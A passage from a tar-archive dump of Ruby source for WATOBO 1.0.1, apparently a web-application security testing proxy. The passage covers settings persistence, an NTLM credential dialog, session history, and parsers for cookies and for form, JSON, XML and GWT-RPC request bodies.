Watobo::Gui::MasterPW.save_without_master? end end Watobo.save_proxy_settings( :save_passwords => save_pws, :key => mp ) Watobo::Gui.save_scanner_settings unless Watobo.project.nil? # puts "- save project settings" # puts Watobo::Conf::General.dump.to_yaml Watobo::Conf::General.save_project Watobo::Conf::Interceptor.save_project Watobo::Conf::SidCache.save_project Watobo::Scope.save end # also save global settings here # puts "- save global settings" # puts Watobo::Conf::General.dump.to_yaml Watobo::Conf::General.save Watobo::Conf::Interceptor.save return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def self.save_default_settings_UNUSED(project) mp = '' save_pws = false # puts "= Master Password Settings =" # puts Watobo::Gui::MasterPW.settings.to_yaml if Watobo::Gui::MasterPW.save_passwords? save_pws = true unless Watobo::Gui::MasterPW.set? save_pws = false unless Watobo::Gui::MasterPW.save_without_master? end end Watobo.save_proxy_settings( :save_passwords => save_pws, :key => mp ) Watobo::Conf::General.save Watobo::Conf::Interceptor.save return true =begin proxy_has_credentials = false settings[:forwarding_proxy].each_key do |p| next if p == :default_proxy proxy = settings[:forwarding_proxy][p] if proxy.has_key? :password and proxy[:password] != '' # puts " - proxy #{p} has password #{proxy_list[p][:credentials][:password]}" proxy_has_credentials = true end end end if proxy_has_credentials == true if settings[:password_policy][:save_passwords] == true if settings[:password_policy][:save_without_master] == false if Watobo::Gui.master_password.empty? # puts "* need master password for proxy" dlg = MasterPWDialog.new(self) if dlg.execute != 0 Watobo::Gui.master_password = dlg.masterPassword end end unless Watobo::Gui.master_password.empty? settings[:forwarding_proxy].each_key do |p| #creds = settings[:forwarding_proxy][p][:credentials] #pass = "$$WPE$$" + creds[:password] pass = settings[:forwarding_proxy][p][:password] unless pass.empty? creds[:password] = Crypto.encryptPassword(pass, Watobo::Gui.master_password) creds[:encrypted] = true end end else cleanCredentials(settings) FXMessageBox.information(self,MBOX_OK,"No MasterPassword", "Could not encrypt proxy passwords. No Passwords have been saved!") end else puts "* saving passwords without protection!!!!" end else cleanCredentials(settings) end # puts "=== DEFAULT SETTINGS PASSWORD POLICY" # puts YAML.dump(settings) Watobo::Utils.save_settings(@default_settings_file, settings ) =end end end end watobo-1.0.1/lib/watobo/gui/utils/save_project_settings.rb000066400000000000000000000000001366346341400237220ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/utils/save_proxy_settings.rb000066400000000000000000000035041366346341400234510ustar00rootroot00000000000000# @private module Watobo#:nodoc: all def self.save_proxy_settings(prefs={}) puts "* save proxy settings" c_prefs = { :save_passwords => false, :key => "" } c_prefs.update prefs unless Watobo.project.nil? Watobo::Conf::ForwardingProxy.save_project() do |s| s.each do |name, proxy| next unless proxy.is_a? Hash unless c_prefs[:save_passwords] == false unless c_prefs[:key].empty? #asdfa end else proxy[:password] = '' end end end else Watobo::Conf::ForwardingProxy.save do |s| s.each do |name, proxy| next unless proxy.is_a? Hash unless c_prefs[:save_passwords] == false unless c_prefs[:key].empty? #asdfa end else proxy[:password] = '' end end end end end def self.save_proxy_settings_UNUSED(prefs={}) puts "* save proxy settings" c_prefs = { :save_passwords => false, :key => "" } c_prefs.update prefs unless Watobo.project.nil? Watobo::Conf::ForwardingProxy.save_project() do |s| s.each do |name, proxy| next unless proxy.is_a? Hash unless c_prefs[:save_passwords] == false unless c_prefs[:key].empty? #asdfa end else proxy[:password] = '' end end end else Watobo::Conf::ForwardingProxy.save do |s| s.each do |name, proxy| next unless proxy.is_a? Hash unless c_prefs[:save_passwords] == false unless c_prefs[:key].empty? #asdfa end else proxy[:password] = '' end end end end end endwatobo-1.0.1/lib/watobo/gui/utils/save_scanner_settings.rb000066400000000000000000000012101366346341400237110ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui def self.save_scanner_settings() #puts "* saving scanner settings ..." #puts Watobo::Conf::Scanner.settings.to_yaml unless Watobo.project.nil? Watobo::Conf::Scanner.save_project(){ |s| # puts s.to_yaml s.delete(:scan_name) s } session_filter = [ :sid_patterns, :logout_signatures, :custom_error_patterns, :max_parallel_checks, :excluded_parms, :non_unique_parms ] Watobo::Conf::Scanner.save_session(session_filter) return true else Watobo::Conf::Scanner.save end end end endwatobo-1.0.1/lib/watobo/gui/utils/session_history.rb000066400000000000000000000053651366346341400226050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui # Watobo::Gui::History =begin Class for managing history entries entries are organised as a hash. each entry consists of a hash. the key of an entry is based on its session filename @history_entry[session_file] = { :last_used :created :project_name :session_name :description } =end class SessionHistory attr_accessor :max_entries def save() begin File.open(@history_file,"w") { |fh| fh.write YAML.dump(@history_entries) } rescue => bang puts bang puts bang.backtrace if $DEBUG end end def entries @history_entries end def add_entry(prefs = {}) t_now = Time.now.to_i return false unless prefs.has_key? :session_name or prefs.has_key? :project_name puts "#" hid = history_id(prefs[:project_name], prefs[:session_name]) @history_entries[hid] ||= { :created => t_now } @history_entries[hid][:last_used] = t_now [ :description, :project_name, :session_name ].each do |k| @history_entries[hid][k] = prefs[k] if prefs.has_key? k end while @history_entries.length > @max_entries do oid, ov = @history_entries.min_by{ |id,v| v[:last_used] } @history_entries.delete oid end save() end def delete_entry(project_name, session_name) @history_entries.delete history_id(project_name, session_name) end def update_usage(prefs) t_now = Time.now.to_i return false unless prefs.has_key? :session_name or prefs.has_key? :project_name hid = history_id(prefs[:project_name], prefs[:session_name]) return false unless @history_entries.has_key? hid @history_entries[hid][:last_used] = t_now save() end def each(&b) @history_entries.each_key{ |k| yield @history_entries[k] if block_given? } end def load(history_file) if File.exist? history_file @history_entries = YAML.load_file(history_file) end end def initialize(filename) @max_entries = 8 @history_entries = Hash.new @history_file = filename if File.exist? @history_file load(@history_file) else begin File.open(@history_file,"w") { |fh| fh.write YAML.dump(@history_entries) } rescue => bang puts bang puts bang.backtrace if $DEBUG end end end private def history_id(project_name, session_name) text = [ project_name, session_name ].join("$") return Digest::MD5.hexdigest(text) end end end endwatobo-1.0.1/lib/watobo/gui/workspace_dialog.rb000066400000000000000000000047461366346341400215200ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class WorkspaceDialog < FXDialogBox attr :workspace_dir def open_select_workspace_dir_dialog(sender, sel, ptr) workspace_dir = FXFileDialog.getOpenDirectory(self, "Select Workspace Directory", @workspace_dir.value) if workspace_dir != "" then if File.exist?(workspace_dir) then @workspace_dir.value = workspace_dir @workspace_dir.handle(self, FXSEL(SEL_UPDATE, 0), nil) updateProjectList(@workspace_dir.value) end end end def initialize(parent, prefs) # Invoke base class initialize function first # super(parent, "New Project", DECOR_TITLE|DECOR_BORDER) super(parent, "Define Workspace", DECOR_ALL) @workspace_dir = FXDataTarget.new('') if prefs[:workspace_dir] then if File.exist?(prefs[:workspace_dir]) then @workspace_dir.value = prefs[:workspace_dir] end end base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) workspace_path_form = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) FXLabel.new(workspace_path_form, "Workspace Directory:" ) @workspaceText = FXTextField.new(workspace_path_form, 60, :target => @workspace_dir, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_COLUMN) browse_button=FXButton.new(workspace_path_form, "Change") browse_button.connect(SEL_COMMAND, method(:open_select_workspace_dir_dialog) ) # # BUTTONS FRAME # buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Finish" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.disable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end watobo-1.0.1/lib/watobo/gui/www_auth_dialog.rb000066400000000000000000000265731366346341400213710ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class AuthTable < FXTable include Watobo::Constants def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def settings www_auth = {} self.numRows.times do |i| www_auth_scope = Hash.new site = self.getItemText(i, 0) www_auth[site] = www_auth_scope www_auth_scope[:username] = self.getItemText(i, 2) www_auth_scope[:password] = self.getItemData(i, 3) www_auth_scope[:type] = self.getItemData(i, 1) www_auth_scope[:domain] = self.getItemText(i, 4) www_auth_scope[:workstation] = self.getItemText(i, 5) end www_auth end def delCurrentRow() cr = self.currentRow self.removeRows(cr, 1, true) if cr >= 0 self.killSelection() notify(:item_selected, nil) end def addAuthScope(www_auth = {}) return nil if www_auth[:username].nil? or www_auth[:password].nil? siteIndex = -1 lastRowIndex = self.getNumRows lastRowIndex.times do |i| if self.getItemText(i, 0) == www_auth[:site] then siteIndex = i lastRowIndex = i break end end self.appendRows(1) if siteIndex < 0 table_items = [ :site, :type, :username, :password, :domain, :workstation ] # puts table_items[i] self.setItemText(lastRowIndex, 0, www_auth[:site] ) self.getItem(lastRowIndex, 0).justify = FXTableItem::LEFT text = case www_auth[:type] when AUTH_TYPE_NTLM "NTLM" end self.setItemText(lastRowIndex, 1, text) self.setItemData(lastRowIndex, 1, www_auth[:type]) self.getItem(lastRowIndex, 1).justify = FXTableItem::LEFT self.setItemText(lastRowIndex, 2, www_auth[:username] ) self.getItem(lastRowIndex, 2).justify = FXTableItem::LEFT pw_text = www_auth[:password] == "" ? "- not set -" : "********" self.setItemText(lastRowIndex, 3, pw_text ) self.setItemData(lastRowIndex, 3, www_auth[:password] ) self.getItem(lastRowIndex, 3).justify = FXTableItem::LEFT self.setItemText(lastRowIndex, 4, www_auth[:domain] ) self.getItem(lastRowIndex, 4).justify = FXTableItem::LEFT self.setItemText(lastRowIndex, 5, www_auth[:workstation] ) self.getItem(lastRowIndex, 5).justify = FXTableItem::LEFT end def initialize(owner, opts) super(owner, opts) @event_dispatcher_listeners = Hash.new initTable() self.connect(SEL_COMMAND) { |sender, sel, item| cr = self.currentRow if cr >= 0 then www_auth = Hash.new www_auth_scope = Hash.new site = self.getItemText(cr, 0) www_auth[site] = www_auth_scope www_auth_scope[:username] = self.getItemText(cr, 2) www_auth_scope[:password] = self.getItemData(cr, 3) www_auth_scope[:type] = self.getItemData(cr, 1) www_auth_scope[:domain] = self.getItemText(cr, 4) www_auth_scope[:workstation] = self.getItemText(cr, 5) notify(:item_selected, www_auth) else notify(:item_selected, nil) end } end private def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def initTable() self.clearItems() self.setTableSize(0, 6) self.setColumnText( 0, "Site" ) self.setColumnText( 1, "Type" ) self.setColumnText( 2, "User" ) self.setColumnText( 3, "Password" ) self.setColumnText( 4, "Domain" ) self.setColumnText( 5, "Workstation" ) self.rowHeader.width = 0 col_width = [ 80, 80, 80, 80, 80, 80 ] col_width.length.times do |i| self.setColumnWidth(i, col_width[i]) end notify(:item_selected, false) end end class WwwAuthDialog < FXDialogBox include Watobo::Gui::Icons include Watobo::Constants NO_SELECTION = "no site selected" def savePasswords?() return false #@save_pws_cbt.checked? end include Responder def initialize(owner) super(owner, "NTLM Authentication", :opts => DECOR_ALL) @project = Watobo.project FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) # @password_policy = { # :save_passwords => false # } # @password_policy.update prefs[:password_policy] if prefs.has_key? :password_policy @site_dt = FXDataTarget.new('') @username_dt = FXDataTarget.new('') @domain_dt = FXDataTarget.new('') @password_dt = FXDataTarget.new('') @workstation_dt = FXDataTarget.new('') @auth_type_dt = FXDataTarget.new(AUTH_TYPE_NTLM) main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) top_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) # @scope_only_cb = FXCheckButton.new(top_frame, "scope only", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) # @scope_only_cb.setCheck(false) # if project.has_scope? # puts "project has scope defined" # end # @scope_only_cb.connect(SEL_COMMAND) { updateSitesCombo() } @sites_combo = FXComboBox.new(top_frame, 5, @site_dt, FXDataTarget::ID_VALUE, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @sites_combo.numVisible = @sites_combo.numItems >= 20 ? 20 : @sites_combo.numItems @sites_combo.numColumns = 25 @sites_combo.editable = true updateSitesCombo() FXLabel.new(top_frame, "User:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @username_txt = FXTextField.new(top_frame, 10, :target => @username_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXLabel.new(top_frame, "Password:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @password_txt = FXTextField.new(top_frame, 10, :target => @password_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) FXLabel.new(top_frame, "Domain:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @domain_txt = FXTextField.new(top_frame, 10, :target => @domain_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) FXLabel.new(top_frame, "Workstation:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @workstation_txt = FXTextField.new(top_frame, 10, :target => @workstation_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) table_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) @auth_table = AuthTable.new(table_frame, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY) @auth_table.subscribe(:item_selected){ |selection| unless selection.nil? then @rem_auth_btn.enable selection.each_key do |k| settings = selection[k] @site_dt.value = k @sites_combo.setText(k) @username_dt.value = settings[:username] # @password_dt.value = settings[:password] @domain_dt.value = settings[:domain] @workstation_dt.value = settings[:workstation] updateFields() end else @rem_auth_btn.disable end } #pas = @project.getWwwAuthentication() pas = Watobo::Conf::Scanner.www_auth # puts pas.to_yaml pas.each_key do |k| auth_settings = { :username => pas[k][:username], :password => pas[k][:password], :domain => pas[k][:domain], :workstation => pas[k][:workstation], :site => k, :type => pas[k][:type] } @auth_table.addAuthScope(auth_settings) end table_btn_frame = FXVerticalFrame.new(table_frame, :opts => LAYOUT_FILL_Y|PACK_UNIFORM_WIDTH) @add_auth_btn = FXButton.new(table_btn_frame, "Add") @add_auth_btn.connect(SEL_COMMAND){ addAuthenticationItem() } #@add_auth_btn.disable @rem_auth_btn = FXButton.new(table_btn_frame, "Remove") @rem_auth_btn.connect(SEL_COMMAND){ remAuthenticationItem() } @rem_auth_btn.disable # frame = FXVerticalFrame.new(main_frame, :opts => LAYOUT_FILL_X) # @save_pws_cbt = FXCheckButton.new(frame, "save passwords") # @save_pws_cbt.checkState = false # @save_pws_cbt.checkState = true if @password_policy[:save_passwords] == true # note_label = FXLabel.new(frame, "This setting affects all passwords!!!") buttons = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) accept.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end private def remAuthenticationItem() @auth_table.delCurrentRow() end def updateSitesCombo() @sites_combo.clearItems @sites_combo.appendItem(NO_SELECTION, nil) unless Watobo.project.nil? Watobo::Chats.sites(:in_scope => Watobo::Scope.exist? ){ |site| #puts "Site: #{site}" @sites_combo.appendItem(site, site) } end @sites_combo.numVisible = @sites_combo.numItems >= 20 ? 20 : @sites_combo.numItems @sites_combo.setCurrentItem(0) if @sites_combo.numItems > 0 end def addAuthenticationItem() ci = @sites_combo.currentItem site = @site_dt.value # site = ( ci >= 0 ) ? @sites_combo.getItemData(ci) : nil return nil if site == NO_SELECTION auth_settings = { :username => @username_dt.value, :password => @password_dt.value, :domain => @domain_dt.value, :workstation => @workstation_dt.value, :site => site, :type => AUTH_TYPE_NTLM } @auth_table.addAuthScope(auth_settings) end def updateFields() # @sites_combo.handle(self, FXSEL(SEL_UPDATE, 1), nil) @username_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @password_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @workstation_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) @domain_txt.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onAccept(sender, sel, event) settings = @auth_table.settings empty_passwords = false settings.each_key do |w3a| empty_passwords = true if settings[w3a][:password] == '' end unless empty_passwords == true then Watobo::Conf::Scanner.www_auth = @auth_table.settings # puts @auth_table.settings.to_yaml getApp().stopModal(self, 1) self.hide() return 1 else FXMessageBox.information(self, MBOX_OK, "Empty Passwords", "You must enter a password!") end end end end end watobo-1.0.1/lib/watobo/gui/xml_viewer_frame.rb000066400000000000000000000050471366346341400215310ustar00rootroot00000000000000# # XML/SOAP Resources # # http://calagenda.berkeley.edu/help_training/developer/calendar-ws/sample-code/ruby-soap4r/geteventsbyrange.rb # http://www.service-repository.com/ # # @private module Watobo#:nodoc: all module Gui class XmlTree < FXTreeList def addTreeElement(parent=nil, element=nil) node = self.appendItem(parent, element.name) element.elements.each do |e| sn = self.appendItem(node, e.name) if e.has_elements? e.elements.each do |se| self.addTreeElement(sn, se) end end end end def initialize(parent, xml_data=nil) super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_RIGHT|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT) @xml_data = REXML::Document.new(xml_data) @root = @xml_data.root # @root.each_recursive { |x| #puts x.name if x.has_text? and x.text == "?" # puts x.name #unless x.has_elements? #} #puts @xml_data.root.methods.sort addTreeElement(nil, @root) end end class XmlViewerFrame < FXVerticalFrame def initialize(owner, xmldata=nil, opts=0) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y , :padding => 0) @xml_tree = XmlTree.new(self, xmldata) #puts xmldata end end #EOC #-- end end if __FILE__ == $0 require 'rexml/document' include REXML xmldata = ' ? ' class TestGui < FXMainWindow def initialize(app, xmldata) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) xmlframe = Watobo::Gui::XmlViewerFrame.new(frame, xmldata, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear end end application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new(application, xmldata) application.create application.run end watobo-1.0.1/lib/watobo/http.rb000066400000000000000000000003531366346341400163640ustar00rootroot00000000000000require 'watobo/http/data/base' require 'watobo/http/data/data' require 'watobo/http/data/json' require 'watobo/http/data/xml' require 'watobo/http/url/url' require 'watobo/http/cookies/cookies' require 'watobo/http/headers/headers' watobo-1.0.1/lib/watobo/http/000077500000000000000000000000001366346341400160365ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/http/cookies/000077500000000000000000000000001366346341400174725ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/http/cookies/cookies.rb000066400000000000000000000050451366346341400214570ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTP class Cookies def to_s s = [] @cookies.each_value do |v| s << "#{v.name}=#{v.value}" end s.join("; ") end def inspect self.to_a end def empty? @cookies.empty? end def clear @cookies.clear @root.removeCookies end def to_a cookies = [] raw_cookies do |c| cookies << Watobo::Cookie.new(c) end cookies end def each(&block) @cookies.each_value do |cookie| yield cookie if block_given? end end def set(parm) @cookies[parm.name.to_sym] = parm @root.set_header("Cookie", self.to_s) end def has_parm?(parm_name) false end #def def parameters(&block) params = [] raw_cookies do |cprefs| params << Watobo::CookieParameter.new(cprefs.clone) yield params.last if block_given? end params end def initialize(root) @root = root @cookies = {} init_cookies end private def init_cookies raw_cookies do |rc| if rc.has_key? :name @cookies[rc[:name].to_sym] = Watobo::Cookie.new(rc) end end end def raw_cookies(&block) rcs = [] @root.headers.each do |line| begin if line =~ /^(Set\-)?Cookie2?: (.*)/i then clist = $2.split(";") cookie_prefs = { :secure => false, :http_only => false } cookie_prefs[:secure] = true if line =~ /secure/i cookie_prefs[:http_only] = true if line =~ /httponly/i clist.each do |c| c.strip! i = c.index("=") # skip cookie options next if i.nil? name = c[0..i-1] value = i < c.length ? c[i+1..-1] : "" cookie_prefs[:name] = name.strip cookie_prefs[:value] = value.strip #cookie = Watobo::CookieParameter.new(cookie_prefs) rcs << cookie_prefs yield cookie_prefs.clone if block_given? end end rescue => bang puts bang puts bang.backtrace puts line end end return rcs end module Mixin def cookies @cookies ||= Cookies.new(self) end end end end endwatobo-1.0.1/lib/watobo/http/data/000077500000000000000000000000001366346341400167475ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/http/data/base.rb000066400000000000000000000006111366346341400202040ustar00rootroot00000000000000module Watobo#:nodoc: all module HTTPData class Base def to_s s = @root.body.nil? ? "" : @root.body end def parameters2 [] end def has_parm2? false end def clear @root.set_body '' end def set2(p) false end def initialize(root) @root = root end end end end watobo-1.0.1/lib/watobo/http/data/data.rb000066400000000000000000000016011366346341400202030ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTPData class WWW_Form < Base def set(parm) if has_parm?(parm.name) @root.replace_post_parm(parm.name, parm.value) else @root.add_post_parm(parm.name, parm.value) end end def has_parm?(parm_name) @root.post_parm_names do |pn| return true if pn == parm_name end false end def parameters(*opts, &block) parms = [] @root.post_parms.each do |p| nvsi = p.index("=") unless nvsi.nil? name = nvsi > 0 ? p[0..nvsi - 1] : "" val = nvsi < (p.length - 1) ? p[nvsi + 1..-1] : "" parms << Watobo::WWWFormParameter.new(:name => name, :value => val) end end parms end def initialize(root) super root end end end endwatobo-1.0.1/lib/watobo/http/data/gwt-rpc.rb000066400000000000000000000052301366346341400206570ustar00rootroot00000000000000# @private =begin https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset/blob/master/gwtparse/GWTParser.py =end module Watobo #:nodoc: all module HTTPData class GWTRequest def initialize(gwtserial) fields = gwtserial.split('|') puts fields.length @version = fields[0] @flags = fields[1] @str_table_length = fields[2].to_i @string_table = [] @string_table.concat fields[3..3+@str_table_length] puts 'String Table >>>' @string_table.each_with_index do |s, i| puts "[#{i+1}] #{s}" end end end class GWTrpc module Mixin def gwtrpc @gwtrpc ||= Watobo::HTTPData::GWTrpc.new(self) end end def to_s s = @root.body.to_s end STRING_OBJECT = "java.lang.String" INTEGER_OBJECT = "java.lang.Integer" DOUBLE_OBJECT = "java.lang.Double" FLOAT_OBJECT = "java.lang.Float" BYTE_OBJECT = "java.lang.Byte" BOOLEAN_OBJECT = "java.lang.Boolean" SHORT_OBJECT = "java.lang.Short" CHAR_OBJECT = "java.lang.Char" LONG_OBJECT = "java.lang.Long" PRIMITIVES_WRAPPER = [STRING_OBJECT, INTEGER_OBJECT, DOUBLE_OBJECT, FLOAT_OBJECT, BYTE_OBJECT, BOOLEAN_OBJECT, SHORT_OBJECT, CHAR_OBJECT] LONG = "J" DOUBLE = "D" FLOAT = "F" INT = "I" BYTE = "B" SHORT = "S" BOOLEAN = "Z" CHAR = "C" PRIMITIVES = ["J", "D", "F", "I", "B", "S", "Z", "C"] NUMERICS = [INT, CHAR, BOOLEAN, BYTE, SHORT, INTEGER_OBJECT, CHAR_OBJECT, BYTE_OBJECT, BOOLEAN_OBJECT, SHORT_OBJECT] ARRAYLIST = "java.util.ArrayList" LINKEDLIST = "java.util.LinkedList" VECTOR = "java.util.Vector" ListTypes = [ARRAYLIST, LINKEDLIST, VECTOR] def parameters(&block) return nil unless @root.has_body? return nil unless @root.is_gwtrpc? parms = parse(@root.body) return parms end def initialize(root) @root = root end private def parse(grs) [] end end end end if $0 == __FILE__ # 7|0|7|https://172.23.229.230:2443/swp/login/|83FA4D6C820A43D9AF64DED640794852|com.swift.sagadmin.swiftnetusers.SwiftNetUsersLocal|list|java.lang.String/2004016611|1|2|3|4|2|5|6|7|6|0| # class RequestDummy include Watobo::HTTPData::GWTrpc::Mixin def has_body? true end def is_gwtrpc? true end def body @body end def initialize(body) @body = body end end Watobo::HTTPData::GWTRequest.new(ARGV[0]) exit dummy = RequestDummy.new(ARGV[0]) dummy.gwtrpc.parameters.each do |p| end end watobo-1.0.1/lib/watobo/http/data/json.rb000066400000000000000000000102351366346341400202460ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTPData class Json module Mixin def json @json ||= Watobo::HTTP::Json.new(self) end end def to_s s = @root.body.to_s end def clear # ignore 'clear' because this will destroy mapping end # def set(parm) return false unless parm.location == :json hash = JSON.parse(@root.body.strip) # refresh mapping by parsing parse(hash) # TODO: add posibility to add new parameters # return if parameter does not have an id. This might be the case if the # parameter has been created manually, to be added as a new parameter. # non existing parameters don't have an id return false if parm.id.nil? index = parm.id ref = @mapping[index] # return immediatly if no reference can be found # this might happen if structurs have been overridden before return false if ref.nil? hash = JSON.parse(@root.body.strip) #puts "[Mapping] #{parm.name} -> #{index} --> #{ref}" new_val = parm.value # puts "[EVAL] hash#{ref}=#{new_val}" eval("hash#{ref}=new_val") @root.set_body hash.to_json end def has_parm?(parm_name) false end # @input opts [*SYM] # supported values: # :skip_structures - do not return structure types like Array of Hash # def parameters(&block) return [] unless @root.is_json? return [] unless @root.has_body? hash = JSON.parse(@root.body.strip) ps = parse(hash) return ps end def initialize(root) @root = root @mapping = nil end private def index_name(name, index) xn = name.scan(/\['[^\[]*'\]/).last xn.gsub!(/[#{Regexp.quote("'[]")}]/, '') unless xn.nil? "#{xn}_#{index}" end # parse the hash structure and generate indexed param names def parse(hash, &block) return nil unless @root.has_body? parms = [] @mapping = {} begin iterate(nil, hash, 0) {|p| mname = index_name(p[:name], parms.length) p[:id] = Digest::MD5.hexdigest(p[:name]) #puts "[#{mname}] --> #{p[:name]} : #{p[:value]}" @mapping[p[:id]] = p[:name] parms << JSONParameter.new(p) } rescue => bang puts bang puts bang.backtrace end parms end def iterate(root, object, index = 0, &block) index += 1 base = root.nil? ? '' : root if object.is_a?(Hash) object.each do |k, v| new_base = "#{base}['#{k}']" if v.is_a?(Hash) p = {name: new_base, value: v, type: :HASH} yield p if block_given? iterate(new_base, v, index, &block) elsif v.is_a?(Array) p = {name: new_base, value: v, type: :ARRAY} yield p if block_given? iterate(new_base, v, index, &block) else p = {name: new_base, value: v, type: v.class.to_s.upcase.to_sym} yield p if block_given? end end elsif object.is_a?(Array) object.each_with_index do |v, i| new_base = "#{base}[#{i}]" #yield [new_base, v] if block_given? p = {name: new_base, value: v, type: :ARRAY} yield p if block_given? iterate(new_base, v, index, &block) end else #yield [base, object] if block_given? p = {name: base, value: object, type: object.class.to_s.upcase.to_sym} yield p if block_given? end end end end end if __FILE__ == $0 require 'devenv' require 'watobo' require 'pry' class RootDummy def has_body? true end def is_json? true end def body {aaa: '3xA', bbb: 'outer', ccc: [yyy: {xxx: '3xX', bbb: 'nested'}]}.to_json end end root = RootDummy.new json = Watobo::HTTPData::Json.new(root) puts json.to_s binding.pry exit endwatobo-1.0.1/lib/watobo/http/data/json_unused.rb000077500000000000000000000024231366346341400216340ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTPData_UNUSED class JSONData < HTTPData::Base def to_s s = @root.body.nil? ? "" : @root.body end def set(parm) json = @root.body.nil? ? '' : @root.body.to_s json = '{}' if json.strip.empty? begin parms = JSON.parse(json) parms[parm.name] = parm.value @root.set_body parms.to_json rescue => bang puts bang puts bang.backtrace puts 'JSON Data:' puts json end end def has_parm?(parm_name) parms = JSON.parse(@root.body.to_s) return true if parms.has_key? parm_name false end def parameters(&block) parms = [] json_str = @root.body.to_s return parms if json_str.empty? begin JSON.parse(json_str).each do |k, v| val = v.is_a?(String) ? v : v.to_s parms << Watobo::JSONParameter.new(:name => k, :value => val) end rescue => bang puts "! could not parse JSON parameters !" puts @root.headers puts json_str.gsub(/[^[:print:]]/, '.') end parms end def initialize(root) super root end end end endwatobo-1.0.1/lib/watobo/http/data/xml.rb000077500000000000000000000065231366346341400201050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTPData class Xml module Mixin def xml @xml ||= Watobo::HTTP::Xml.new(self) end end def to_s s = @root.body.to_s end def clear @root.set_body '' end def set(parm) puts "xml set parm:" puts parm return false unless parm.location == :xml # puts "= set " # puts parm.to_yaml doc = Nokogiri::XML(@root.body.strip) namespaces = doc.collect_namespaces #parent = doc.xpath("//#{parm.parent}", namespaces).first parent = doc.css("//#{parm.parent}").first #binding.pry if parent.nil? puts "* could not find parent node #{parm.parent}" return false end #parm_name = parm.namespace.nil? ? "" : parm.namespace #parm_name << parm.name # find node #node = parent.xpath("//#{parm_name}", namespaces).first #node = parent.css("//#{parm_name}").first node = parent.css("#{parm.name}").first if node.nil? puts "* node does 